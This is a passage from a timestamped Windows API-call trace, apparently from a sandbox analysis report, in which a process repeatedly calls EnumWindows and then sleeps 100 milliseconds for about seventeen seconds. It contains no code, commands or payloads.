(dwMilliseconds=0x64) [0151.582] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0151.583] Sleep (dwMilliseconds=0x64) [0151.646] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0151.646] Sleep (dwMilliseconds=0x64) [0151.936] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0151.937] Sleep (dwMilliseconds=0x64) [0152.083] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0152.084] Sleep (dwMilliseconds=0x64) [0152.102] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0152.103] Sleep (dwMilliseconds=0x64) [0152.152] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0152.153] Sleep (dwMilliseconds=0x64) [0152.205] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0152.205] Sleep (dwMilliseconds=0x64) [0152.290] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0152.290] Sleep (dwMilliseconds=0x64) [0152.333] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0152.333] Sleep (dwMilliseconds=0x64) [0152.425] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0152.425] Sleep (dwMilliseconds=0x64) [0152.471] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0152.471] Sleep (dwMilliseconds=0x64) [0152.489] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0152.489] Sleep (dwMilliseconds=0x64) [0152.526] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0152.526] Sleep (dwMilliseconds=0x64) [0152.556] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0152.556] Sleep (dwMilliseconds=0x64) [0152.600] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0152.601] Sleep (dwMilliseconds=0x64) [0152.693] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0152.694] Sleep (dwMilliseconds=0x64) [0152.725] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0152.725] Sleep (dwMilliseconds=0x64) [0152.773] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0152.774] Sleep (dwMilliseconds=0x64) [0152.819] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0152.819] Sleep (dwMilliseconds=0x64) [0153.444] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0153.445] Sleep (dwMilliseconds=0x64) [0153.581] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0153.582] Sleep (dwMilliseconds=0x64) [0153.640] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0153.641] Sleep (dwMilliseconds=0x64) [0153.661] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0153.661] Sleep (dwMilliseconds=0x64) [0153.702] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0153.703] Sleep (dwMilliseconds=0x64) [0153.754] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0153.755] Sleep (dwMilliseconds=0x64) [0153.826] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0153.827] Sleep (dwMilliseconds=0x64) [0153.909] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0153.910] Sleep (dwMilliseconds=0x64) [0153.961] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0153.962] Sleep (dwMilliseconds=0x64) [0154.066] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0154.066] Sleep (dwMilliseconds=0x64) [0154.163] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0154.163] Sleep (dwMilliseconds=0x64) [0154.178] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0154.178] Sleep (dwMilliseconds=0x64) [0154.207] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0154.208] Sleep (dwMilliseconds=0x64) [0154.314] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0154.314] Sleep (dwMilliseconds=0x64) [0154.436] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0154.437] Sleep (dwMilliseconds=0x64) [0154.454] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0154.464] Sleep (dwMilliseconds=0x64) [0154.604] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0154.605] Sleep (dwMilliseconds=0x64) [0154.679] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0154.679] Sleep (dwMilliseconds=0x64) [0154.726] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0154.726] Sleep (dwMilliseconds=0x64) [0154.780] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0154.781] Sleep (dwMilliseconds=0x64) [0154.804] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0154.805] Sleep (dwMilliseconds=0x64) [0154.833] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0154.834] Sleep (dwMilliseconds=0x64) [0154.904] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0154.904] Sleep (dwMilliseconds=0x64) [0154.976] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0154.976] Sleep (dwMilliseconds=0x64) [0155.036] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0155.036] Sleep (dwMilliseconds=0x64) [0155.919] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0155.920] Sleep (dwMilliseconds=0x64) [0156.114] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0156.114] Sleep (dwMilliseconds=0x64) [0156.170] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0156.170] Sleep (dwMilliseconds=0x64) [0156.215] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0156.216] Sleep (dwMilliseconds=0x64) [0156.303] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0156.303] Sleep (dwMilliseconds=0x64) [0156.394] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0156.394] Sleep (dwMilliseconds=0x64) [0156.466] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0156.467] Sleep (dwMilliseconds=0x64) [0156.535] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0156.535] Sleep (dwMilliseconds=0x64) [0157.196] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0157.197] Sleep (dwMilliseconds=0x64) [0157.371] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0157.372] Sleep (dwMilliseconds=0x64) [0157.461] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0157.461] Sleep (dwMilliseconds=0x64) [0157.500] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0157.501] Sleep (dwMilliseconds=0x64) [0157.591] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0157.592] Sleep (dwMilliseconds=0x64) [0157.602] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0157.602] Sleep (dwMilliseconds=0x64) [0157.617] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0157.617] Sleep (dwMilliseconds=0x64) [0157.645] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0157.645] Sleep (dwMilliseconds=0x64) [0157.671] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0157.672] Sleep (dwMilliseconds=0x64) [0157.692] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0157.693] Sleep (dwMilliseconds=0x64) [0157.769] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0157.769] Sleep (dwMilliseconds=0x64) [0157.851] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0157.852] Sleep (dwMilliseconds=0x64) [0157.863] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0157.864] Sleep (dwMilliseconds=0x64) [0157.894] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0157.894] Sleep (dwMilliseconds=0x64) [0157.927] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0157.927] Sleep (dwMilliseconds=0x64) [0157.972] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0157.973] Sleep (dwMilliseconds=0x64) [0158.034] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0158.036] Sleep (dwMilliseconds=0x64) [0158.078] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0158.078] Sleep (dwMilliseconds=0x64) [0158.111] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0158.111] Sleep (dwMilliseconds=0x64) [0158.130] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0158.130] Sleep (dwMilliseconds=0x64) [0158.178] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0158.178] Sleep (dwMilliseconds=0x64) [0158.222] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0158.223] Sleep (dwMilliseconds=0x64) [0158.311] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0158.311] Sleep (dwMilliseconds=0x64) [0158.361] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0158.362] Sleep (dwMilliseconds=0x64) [0158.395] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0158.395] Sleep (dwMilliseconds=0x64) [0158.494] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0158.495] Sleep (dwMilliseconds=0x64) [0158.583] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0158.584] Sleep (dwMilliseconds=0x64) [0158.640] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0158.641] Sleep (dwMilliseconds=0x64) [0158.659] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0158.660] Sleep (dwMilliseconds=0x64) [0158.704] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0158.705] Sleep (dwMilliseconds=0x64) [0158.754] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0158.755] Sleep (dwMilliseconds=0x64) [0158.796] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0158.797] Sleep (dwMilliseconds=0x64) [0158.833] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0158.834] Sleep (dwMilliseconds=0x64) [0158.881] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0158.881] Sleep (dwMilliseconds=0x64) [0158.926] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0158.926] Sleep (dwMilliseconds=0x64) [0158.981] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0158.981] Sleep (dwMilliseconds=0x64) [0159.067] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0159.067] Sleep (dwMilliseconds=0x64) [0159.094] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0159.094] Sleep (dwMilliseconds=0x64) [0159.112] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0159.113] Sleep (dwMilliseconds=0x64) [0159.152] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0159.153] Sleep (dwMilliseconds=0x64) [0159.191] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0159.191] Sleep (dwMilliseconds=0x64) [0159.229] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0159.230] Sleep (dwMilliseconds=0x64) [0159.266] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0159.267] Sleep (dwMilliseconds=0x64) [0159.282] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0159.283] Sleep (dwMilliseconds=0x64) [0159.300] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0159.300] Sleep (dwMilliseconds=0x64) [0159.340] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0159.341] Sleep (dwMilliseconds=0x64) [0159.379] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0159.379] Sleep (dwMilliseconds=0x64) [0159.527] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0159.527] Sleep (dwMilliseconds=0x64) [0159.564] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0159.576] Sleep (dwMilliseconds=0x64) [0159.621] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0159.622] Sleep (dwMilliseconds=0x64) [0159.644] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0159.644] Sleep (dwMilliseconds=0x64) [0159.711] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0159.712] Sleep (dwMilliseconds=0x64) [0159.750] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0159.750] Sleep (dwMilliseconds=0x64) [0159.828] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0159.828] Sleep (dwMilliseconds=0x64) [0159.852] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0159.853] Sleep (dwMilliseconds=0x64) [0159.899] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0159.899] Sleep (dwMilliseconds=0x64) [0159.983] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0159.984] Sleep (dwMilliseconds=0x64) [0160.002] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0160.003] Sleep (dwMilliseconds=0x64) [0160.049] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0160.050] Sleep (dwMilliseconds=0x64) [0160.136] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0160.136] Sleep (dwMilliseconds=0x64) [0160.176] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0160.176] Sleep (dwMilliseconds=0x64) [0160.226] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0160.226] Sleep (dwMilliseconds=0x64) [0160.270] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0160.270] Sleep (dwMilliseconds=0x64) [0160.340] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0160.341] Sleep (dwMilliseconds=0x64) [0160.354] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0160.355] Sleep (dwMilliseconds=0x64) [0160.370] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0160.384] Sleep (dwMilliseconds=0x64) [0160.522] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0160.523] Sleep (dwMilliseconds=0x64) [0160.609] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0160.609] Sleep (dwMilliseconds=0x64) [0160.621] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0160.622] Sleep (dwMilliseconds=0x64) [0160.851] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0160.851] Sleep (dwMilliseconds=0x64) [0160.940] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0160.941] Sleep (dwMilliseconds=0x64) [0161.004] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0161.005] Sleep (dwMilliseconds=0x64) [0161.074] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0161.075] Sleep (dwMilliseconds=0x64) [0161.167] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0161.168] Sleep (dwMilliseconds=0x64) [0161.201] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0161.202] Sleep (dwMilliseconds=0x64) [0161.273] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0161.273] Sleep (dwMilliseconds=0x64) [0161.334] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0161.335] Sleep (dwMilliseconds=0x64) [0161.379] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0161.380] Sleep (dwMilliseconds=0x64) [0161.437] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0161.438] Sleep (dwMilliseconds=0x64) [0161.567] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0161.568] Sleep (dwMilliseconds=0x64) [0161.637] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0161.637] Sleep (dwMilliseconds=0x64) [0161.706] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0161.707] Sleep (dwMilliseconds=0x64) [0161.745] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0161.746] Sleep (dwMilliseconds=0x64) [0161.835] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0161.835] Sleep (dwMilliseconds=0x64) [0161.860] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0161.861] Sleep (dwMilliseconds=0x64) [0161.895] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0161.895] Sleep (dwMilliseconds=0x64) [0161.950] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0161.950] Sleep (dwMilliseconds=0x64) [0162.035] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0162.035] Sleep (dwMilliseconds=0x64) [0162.112] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0162.112] Sleep (dwMilliseconds=0x64) [0162.175] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0162.176] Sleep (dwMilliseconds=0x64) [0162.209] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0162.210] Sleep (dwMilliseconds=0x64) [0162.301] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0162.301] Sleep (dwMilliseconds=0x64) [0162.365] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0162.366] Sleep (dwMilliseconds=0x64) [0162.382] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0162.383] Sleep (dwMilliseconds=0x64) [0162.551] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0162.552] Sleep (dwMilliseconds=0x64) [0162.615] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0162.616] Sleep (dwMilliseconds=0x64) [0162.707] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0162.707] Sleep (dwMilliseconds=0x64) [0162.788] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0162.788] Sleep (dwMilliseconds=0x64) [0162.864] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0162.864] Sleep (dwMilliseconds=0x64) [0162.941] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0162.942] Sleep (dwMilliseconds=0x64) [0162.999] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0163.000] Sleep (dwMilliseconds=0x64) [0163.172] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0163.174] Sleep (dwMilliseconds=0x64) [0163.253] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0163.254] Sleep (dwMilliseconds=0x64) [0163.336] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0163.336] Sleep (dwMilliseconds=0x64) [0163.357] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0163.358] Sleep (dwMilliseconds=0x64) [0163.396] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0163.397] Sleep (dwMilliseconds=0x64) [0163.522] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0163.523] Sleep (dwMilliseconds=0x64) [0163.613] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0163.614] Sleep (dwMilliseconds=0x64) [0163.665] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0163.665] Sleep (dwMilliseconds=0x64) [0163.706] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0163.707] Sleep (dwMilliseconds=0x64) [0163.814] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0163.814] Sleep (dwMilliseconds=0x64) [0163.880] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0163.880] Sleep (dwMilliseconds=0x64) [0163.934] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0163.935] Sleep (dwMilliseconds=0x64) [0164.028] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0164.029] Sleep (dwMilliseconds=0x64) [0164.082] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0164.082] Sleep (dwMilliseconds=0x64) [0164.114] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0164.115] Sleep (dwMilliseconds=0x64) [0164.204] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0164.205] Sleep (dwMilliseconds=0x64) [0164.215] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0164.216] Sleep (dwMilliseconds=0x64) [0164.253] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0164.254] Sleep (dwMilliseconds=0x64) [0164.312] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0164.313] Sleep (dwMilliseconds=0x64) [0164.396] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0164.403] Sleep (dwMilliseconds=0x64) [0164.429] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0164.429] Sleep (dwMilliseconds=0x64) [0164.570] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0164.571] Sleep (dwMilliseconds=0x64) [0164.631] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0164.632] Sleep (dwMilliseconds=0x64) [0164.723] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0164.724] Sleep (dwMilliseconds=0x64) [0164.816] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0164.817] Sleep (dwMilliseconds=0x64) [0164.876] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0164.877] Sleep (dwMilliseconds=0x64) [0164.941] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0164.941] Sleep (dwMilliseconds=0x64) [0165.035] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0165.035] Sleep (dwMilliseconds=0x64) [0165.067] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0165.068] Sleep (dwMilliseconds=0x64) [0165.160] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0165.160] Sleep (dwMilliseconds=0x64) [0165.206] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0165.207] Sleep (dwMilliseconds=0x64) [0165.238] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0165.238] Sleep (dwMilliseconds=0x64) [0165.332] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0165.333] Sleep (dwMilliseconds=0x64) [0165.510] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0165.510] Sleep (dwMilliseconds=0x64) [0165.546] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0165.547] Sleep (dwMilliseconds=0x64) [0165.594] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0165.595] Sleep (dwMilliseconds=0x64) [0165.622] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0165.623] Sleep (dwMilliseconds=0x64) [0165.651] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0165.652] Sleep (dwMilliseconds=0x64) [0165.739] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0165.739] Sleep (dwMilliseconds=0x64) [0165.787] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0165.787] Sleep (dwMilliseconds=0x64) [0165.816] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0165.816] Sleep (dwMilliseconds=0x64) [0165.884] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0165.885] Sleep (dwMilliseconds=0x64) [0165.912] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0165.913] Sleep (dwMilliseconds=0x64) [0165.937] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0165.938] Sleep (dwMilliseconds=0x64) [0165.973] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0165.974] Sleep (dwMilliseconds=0x64) [0166.035] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0166.035] Sleep (dwMilliseconds=0x64) [0166.105] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0166.106] Sleep (dwMilliseconds=0x64) [0166.178] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0166.179] Sleep (dwMilliseconds=0x64) [0166.236] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0166.236] Sleep (dwMilliseconds=0x64) [0166.291] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0166.292] Sleep (dwMilliseconds=0x64) [0166.363] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0166.363] Sleep (dwMilliseconds=0x64) [0166.414] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0166.415] Sleep (dwMilliseconds=0x64) [0166.453] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0166.453] Sleep (dwMilliseconds=0x64) [0166.525] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0166.525] Sleep (dwMilliseconds=0x64) [0166.556] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0166.557] Sleep (dwMilliseconds=0x64) [0166.747] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0166.747] Sleep (dwMilliseconds=0x64) [0166.766] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0166.767] Sleep (dwMilliseconds=0x64) [0166.816] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0166.817] Sleep (dwMilliseconds=0x64) [0166.865] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0166.866] Sleep (dwMilliseconds=0x64) [0166.926] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0166.926] Sleep (dwMilliseconds=0x64) [0166.988] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0166.988] Sleep (dwMilliseconds=0x64) [0167.029] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0167.030] Sleep (dwMilliseconds=0x64) [0167.066] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0167.066] Sleep (dwMilliseconds=0x64) [0167.146] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0167.147] Sleep (dwMilliseconds=0x64) [0167.206] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0167.207] Sleep (dwMilliseconds=0x64) [0167.278] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0167.279] Sleep (dwMilliseconds=0x64) [0167.322] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0167.322] Sleep (dwMilliseconds=0x64) [0167.348] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0167.348] Sleep (dwMilliseconds=0x64) [0167.425] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0167.426] Sleep (dwMilliseconds=0x64) [0167.524] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0167.524] Sleep (dwMilliseconds=0x64) [0167.567] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0167.568] Sleep (dwMilliseconds=0x64) [0167.624] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0167.625] Sleep (dwMilliseconds=0x64) [0167.664] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0167.665] Sleep (dwMilliseconds=0x64) [0167.811] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0167.812] Sleep (dwMilliseconds=0x64) [0167.831] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0167.831] Sleep (dwMilliseconds=0x64) [0167.855] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0167.856] Sleep (dwMilliseconds=0x64) [0167.890] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0167.891] Sleep (dwMilliseconds=0x64) [0167.966] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0167.967] Sleep (dwMilliseconds=0x64) [0168.016] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0168.017] Sleep (dwMilliseconds=0x64) [0168.039] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0168.040] Sleep (dwMilliseconds=0x64) [0168.052] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0168.053] Sleep (dwMilliseconds=0x64) [0168.144] 